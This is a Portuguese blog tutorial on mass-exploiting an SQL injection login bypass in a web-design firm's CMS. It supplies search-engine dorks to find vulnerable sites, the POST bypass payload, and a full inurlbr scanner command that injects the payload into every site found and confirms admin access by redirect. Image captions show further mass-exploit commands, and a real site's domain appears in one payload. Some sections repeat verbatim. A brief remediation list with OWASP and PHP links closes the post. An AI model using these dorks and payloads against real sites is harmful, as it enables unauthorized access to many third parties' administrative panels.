Até o momento a grande utilização do scanner é feito por meio de exploração via GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.
Para tal tutorial vamos usar um exploit publicado no Exploit4arab
Exploit:
http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaL
Affected Webs/Versions : All
O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.
Dork:
Dork:
intext:"by Shaffer Web Design" ext:php
intext:"Designed by Shaffer Web Design"
intext:"Website Development provided by Shaffer Web Design"
Acesso:
http://www.xx.com/admin.php
POC:
Request POST
Request POST
http://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My Account
Campos explorados com um simples Bypass:
email='=' 'OR'
password='=' 'OR'
Debug request:
- 1 - Enviamos o request Bypass para o arquivo login.php
- 2 - O servidor aceita o request e retorna código 302 http de redirecionamento.
- 3 - Somos redirecionados para pagina my_account.php do servidor.
Agora vamos montar comando para exploração via INURLBR.
Download:
Download:
Comando:
- Setar DORK de pesquisa:
Exemplo:
Exemplo:
--dork Defines which dork the search engine will use.
Example: --dork {dork}
Usage: --dork 'site:.gov.br inurl:php? id'
- Using multiples dorks:
Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
Usage: --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'
Usando para exploração atual:
--dork 'intext:"by Shaffer Web Design" ext:php'
- Setar OUTPUT:
Exemplo:
-s Specify the output file where it will be saved the vulnerable URLs.
Example: -s {file}
Usage: -s your_file.txt
Usando para exploração atual:
-s tutorial.txt
- Setar ifredirect validação da URL redirecionamento:
Exemplo:
--ifredirect Return validation method post REDIRECT_URL
Example: --ifredirect {string_validation}
Usage: --ifredirect '/admin/painel.php'
Usando para exploração atual:
--ifredirect 'my_account.php'
- Setar string que será concatenada junto ao host, para isso usamos o exploit-get:
Exemplo:
--exploit-get Defines which exploit will be injected through the GET method to each URL found.
Example: --exploit-get {exploit_get}
Usage: --exploit-get "?'´%270x27;"
Usando para exploração atual:
--exploit-get '/login.php'
Ai fica a pergunta, mas por quê ? eu uso exploit-get em algo que é explorado via post ?
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.
- Setar request Bypass POST
Exemplo:
--exploit-post Defines which exploit will be injected through the POST method to each URL found.
Example: --exploit-post {exploit_post}
Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'
Usando para exploração atual:
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"
Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"
Exemplo de Saída vulnerável:
OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.
Solução ?
Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.
- Setar request Bypass POST
Exemplo:
--exploit-post Defines which exploit will be injected through the POST method to each URL found.
Example: --exploit-post {exploit_post}
Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"
Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"
Exemplo de Saída vulnerável:
OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.
Solução ?
- Sempre filtre o que vem do cliente.
- Não confie em dados que vem do cliente.
- Filtre todo request seja get ou post $_REQUEST.
- Use PDO sem moderação Prepared Statements é o poder.
- Use filtros nativos do PHP filter_var
Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf












![[ + ] EXECUTE: php xpl.php -t http://target.us [ + ] EXECUTE: php xpl.php -t http://target.us](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisUauF42n7iNNCZev-DNlCXLhBQW0W8qmeK2SFtRFQLkvmCszy1J0So9cdilmFxBBr7EsJMH9sR1U5UabLCyuGcosVVqB-M8oP_Mio0SGT62Tva9nt1XeWSyxXfq0l93hC9QfyrQw2zXsR/s640/Sem+t%C3%ADtulo.png)
![[ + ] EXPLOIT MASS USE SCANNER INURLBR: php inurlbr.php --dork 'inurl:base.php?pagina" ext:php' -s output.txt--command-all 'php xpl.php -t _TARGET_' PRINT OUTPUT: [ + ] EXPLOIT MASS USE SCANNER INURLBR: php inurlbr.php --dork 'inurl:base.php?pagina" ext:php' -s output.txt--command-all 'php xpl.php -t _TARGET_' PRINT OUTPUT:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpK5NzYu28g8-0Obxm-NL7TDtCBUUlcHRypV45q30_HVSTgdQjsWf7G2W5OWWkCNWm5HZfsvzF5fRRWyh-aAJ8Br5yvk42CgQDG_FayaxqpkMuBQ6c1JZ4LDyH9H7WVo_MgvCbaeLd6iTZ/s640/Sem+t%C3%ADtulo.png)
![[+] Discoverer Author: Mustafa Moshkela REF COD POC: http://www.exploit4arab.net/exploits/1482 Greets to: all members in iq-team.org [+] Discoverer Author: Mustafa Moshkela REF COD POC: http://www.exploit4arab.net/exploits/1482 Greets to: all members in iq-team.org](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3a1EeoYbswFJ3TaegWK7wRlmqfLeLmn7tLXI5z6ihnKSYCrFez7Ck9XzRCkIeYHDoFuXuaG8bpk-_Rkc0LobqVfjNj6R4iElcx47m-Tc97g-l9g0W0yVq_VhiNbQlClcXEGxLkUbIxhVR/s1600/Sem+t%C3%ADtulo.png)













